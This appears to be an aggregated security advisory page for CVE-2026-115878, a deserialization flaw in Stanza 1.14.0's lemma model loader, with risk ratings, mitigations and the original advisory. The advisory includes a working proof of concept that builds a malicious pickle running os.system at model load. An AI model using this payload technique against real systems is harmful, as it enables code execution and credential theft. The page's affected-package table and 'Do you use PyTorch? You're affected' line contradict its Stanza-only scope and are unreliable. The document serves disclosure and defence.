CVE-2026-115878: Stanza: unsafe pickle in lemma model load enables RCE

GHSA-gh9r-c94j-cmp5HIGH
Published November 3, 2026
CISO Take

Stanza 1.14.0 deserializes the lemmatizer's `pos_dict` with an unrestricted `pickle.loads`, so a crafted lemma model checkpoint runs arbitrary code as soon as a pipeline loads it, even though the outer `torch.load(weights_only=True)` call looks safe. The package has about 26,115 downstream dependents and a Package Risk Score of 85/100. The reported CVSS is 7.8 (local, user-interaction required), and the code runs at pipeline construction, before any input is processed. There is no EPSS score, no CISA KEV listing, no public exploit and no scanner template yet. However, the advisory includes a working PoC, so weaponization is trivial. Exposure is limited to teams that load third-party or caller-supplied lemma models through `lemma_model_path` or a custom registry. Upgrade to stanza 1.15.0, load only models from the default checksum-verified registry or from internally vetted sources, and inventory any pipelines that accept externally sourced `.pt` files.

Sources:NVDGitHub AdvisoryATLASOpenSSF

What is the risk?

High, but conditional. Exploitation needs a victim to load an attacker-controlled lemma checkpoint, so the CVSS vector is local with user interaction. The attack is low complexity, and the advisory PoC was confirmed end-to-end on stanza 1.14.0, PyTorch 2.13.0 and CPython 3.13.7. Impact is full compromise of the loading user's context (confidentiality, integrity, availability). Only 1.14.0 is affected, which narrows the exposed population. Risk rises for shared model hubs, notebooks, CI/CD jobs and MLOps pipelines that fetch models automatically. These can run with cloud credentials or access to sensitive data. Default registry downloads are MD5-verified, which lowers risk for standard usage. No active exploitation or KEV listing is known.

How does the attack unfold?

Malicious model delivery
Attacker crafts a lemma .pt checkpoint with a gzip-compressed malicious pickle in the dicts field and distributes it via a hub, shared storage or custom registry.
AML.T0058
User loads model
A victim or automated pipeline builds stanza.Pipeline with lemma_model_path pointing at the attacker's file.
AML.T0011.000
Deserialization and code execution
torch.load passes the bytes through, then Trainer.load calls the unrestricted pickle.loads, which runs the os.system payload.
AML.T0050
Impact
Attacker gains code execution as the loading user, enabling credential theft, data exfiltration and lateral movement from the ML host.
AML.T0025

What systems are affected?

PackageEcosystemVulnerable RangePatched
PyTorchpip= 1.14.01.15.0
105.0KOpenSSF 6.426.1K dependentsPushed 2d ago16% patched~202d to patchFull package profile →

Do you use PyTorch? You're affected.

How severe is it?

CVSS 3.1
7.8 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AVACPRUISCIA
AVLocal
ACLow
PRNone
UIRequired
SUnchanged
CHigh
IHigh
AHigh

What should I do?

1 step
  1. 1) Upgrade stanza to 1.15.0, which restricts the inner unpickling (see PR 1649 and the fix commit). 2) Until patched, do not use lemma_model_path or custom registries with untrusted or externally sourced .pt files. 3) Restrict model sources to the default registry or to internally hosted artifacts with verified hashes or signatures. 4) Run model loading in sandboxed, least-privilege containers without production credentials or open egress. 5) Scan existing .pt files with pickle analysis tools such as picklescan or fickling, including for nested gzip-compressed pickles in dicts fields. 6) Detect: look for stanza==1.14.0 in SBOMs and lockfiles, and monitor ML workers for unexpected child processes (shells, os.system) spawned during pipeline initialization.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15-Accuracy, robustness and cybersecurity
ISO 42001
A.10.3-Suppliers
NIST AI RMF
MANAGE 2.3-Response to previously unknown risks and third-party AI risks
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-115878?

Stanza 1.14.0 deserializes the lemmatizer's `pos_dict` with an unrestricted `pickle.loads`, so a crafted lemma model checkpoint runs arbitrary code as soon as a pipeline loads it, even though the outer `torch.load(weights_only=True)` call looks safe. The package has about 26,115 downstream dependents and a Package Risk Score of 85/100. The reported CVSS is 7.8 (local, user-interaction required), and the code runs at pipeline construction, before any input is processed. There is no EPSS score, no CISA KEV listing, no public exploit and no scanner template yet. However, the advisory includes a working PoC, so weaponization is trivial. Exposure is limited to teams that load third-party or caller-supplied lemma models through `lemma_model_path` or a custom registry. Upgrade to stanza 1.15.0, load only models from the default checksum-verified registry or from internally vetted sources, and inventory any pipelines that accept externally sourced `.pt` files.

Is CVE-2026-115878 actively exploited?

No confirmed active exploitation of CVE-2026-115878 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-115878?

1) Upgrade stanza to 1.15.0, which restricts the inner unpickling (see PR 1649 and the fix commit). 2) Until patched, do not use `lemma_model_path` or custom registries with untrusted or externally sourced `.pt` files. 3) Restrict model sources to the default registry or to internally hosted artifacts with verified hashes or signatures. 4) Run model loading in sandboxed, least-privilege containers without production credentials or open egress. 5) Scan existing `.pt` files with pickle analysis tools such as picklescan or fickling, including for nested gzip-compressed pickles in `dicts` fields. 6) Detect: look for stanza==1.14.0 in SBOMs and lockfiles, and monitor ML workers for unexpected child processes (shells, `os.system`) spawned during pipeline initialization.

What systems are affected by CVE-2026-115878?

This vulnerability affects the following AI/ML architecture patterns: NLP preprocessing pipelines, Model loading and registries, Training pipelines, RAG ingestion pipelines, Research notebooks.

What is the CVSS score for CVE-2026-115878?

CVE-2026-115878 has a CVSS v3.1 base score of 7.8 (HIGH).

What is the AI security impact?

Affected AI Architectures

NLP preprocessing pipelinesModel loading and registriesTraining pipelinesRAG ingestion pipelinesResearch notebooks

MITRE ATLAS Techniques

AML.T0010.003Model
AML.T0011.000Unsafe AI Artifacts
AML.T0018.002Embed Malware
AML.T0050Command and Scripting Interpreter
AML.T0058Publish Poisoned Models

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.10.3
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## TL;DR Loading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code. Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`). A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -> `_unpack_pos_dict` and executes the embedded pickle at construction time. ## The vulnerable path `stanza/models/lemma/trainer.py`: ```python # _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts'] def _unpack_pos_dict(data): # line 54 buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return pickle.loads(raw) # <-- unrestricted default unpickler ``` ```python def load(self, filename, ...): # line 365 checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact ... if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format) self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation ``` **Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=<file>)` -> `LemmaProcessor._set_up_model` -> `Trainer(model_file=…)` -> `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed. Note: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle. ## Minimal PoC ```python import gzip, io, os, pickle, tempfile, torch from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned") class Payload: def __reduce__(self): return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),)) buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict() gz.write(pickle.dumps(Payload(), protocol=4)) ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS} pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt") torch.save(ckpt, pt, _use_new_zipfile_serialization=False) loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact _unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs print("pwned:", open(MARKER).read().strip()) ``` The PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime. ## Fix Deserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only): ```python from stanza.models.common.doc import RestrictedUnpickler def _unpack_pos_dict(data): buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return RestrictedUnpickler(io.BytesIO(raw)).load() ``` A legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.

Exploitation Scenario

An attacker publishes a Stanza lemma model on a community hub or forum, advertised as a fine-tuned lemmatizer for a niche language or domain. They embed a gzip-compressed pickle with an `os.system` `__reduce__` payload in the checkpoint's `dicts` field. A data scientist or an automated ingestion pipeline downloads the file and builds `stanza.Pipeline(..., lemma_model_path=...)`. `torch.load(weights_only=True)` passes the bytes through, and `Trainer.load` then calls `pickle.loads` on them. The payload runs immediately, exfiltrating cloud credentials and API keys or opening a reverse shell on the ML worker.

Weaknesses (CWE)

CWE-502 — Deserialization of Untrusted Data: The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

  • [Architecture and Design, Implementation] If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
  • [Implementation] When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Timeline

Published
November 3, 2026
Last Modified
November 3, 2026
First Seen
November 4, 2026

Related Vulnerabilities